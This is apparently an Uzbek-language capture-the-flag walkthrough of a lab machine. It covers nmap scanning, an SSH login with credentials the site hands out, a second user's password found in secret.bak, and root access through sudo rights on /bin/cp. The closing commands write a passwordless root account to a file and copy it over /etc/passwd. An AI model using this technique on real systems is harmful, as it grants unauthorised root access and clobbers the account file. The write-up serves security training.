IP: 172.17.02

image.png

Endi Saytdagi tugmalarni birma bir bosib ko’rganimda menga login va parol berdi .

image.png

Nmap orqali IP ni ochiq portlarini topamiz .

image.png

22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 89:6c:a5:af:d5:e2:83:6c:f9:87:33:44:0f:78:48:3a (ECDSA)
|_  256 65:32:42:95:ca:d0:53:bb:28:a5:15:4a:9c:14:64:5b (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Laboratorio de Open Redirect

SSH port ochiq ekan , demak sayt bizga bergan login va parol SSH niki bo’lsa kerak , sinab ko’ramiz . Login: balu Passwrod: balulero

image.png

Ishladi , tizimga kirdik . / papkasiga o’tib papkalarni ko’rsam secret.bak nomli fayl bor ekan , uni o’qisam ichida login va parol berilgan ekan va shunday user tizimda bor ekan .

image.png

balulito:balulerochingon

Unga shu malumotlardan foydalanib su balulito buyrug’i orqali kirdim .

image.png

Endi shu kirgan user imdan sudo -l orqali huquqlarini ko’rsam , /bin/cp ga to’liq huquqi bor ekan , undan so’ng https://gtfobins.org/ shu saytdan Privilege escalation qilish yo’llarini qidirdim .

image.png

Yangi o’zim pwn nomli fayl yaratdim va ichiga yangi pwn nomli foydalanuvchini qo’shdim , uni root qildim va o’zimning pwn nomli faylimni bilan tizimni passwd fayli bilan almashtirib qo’ydim . Shu usul bilan Root hech qanday parolsiz o’tdim

echo 'pwn::0:0::/root:/bin/bash' > /tmp/pwn
sudo cp /tmp/pwn /etc/passwd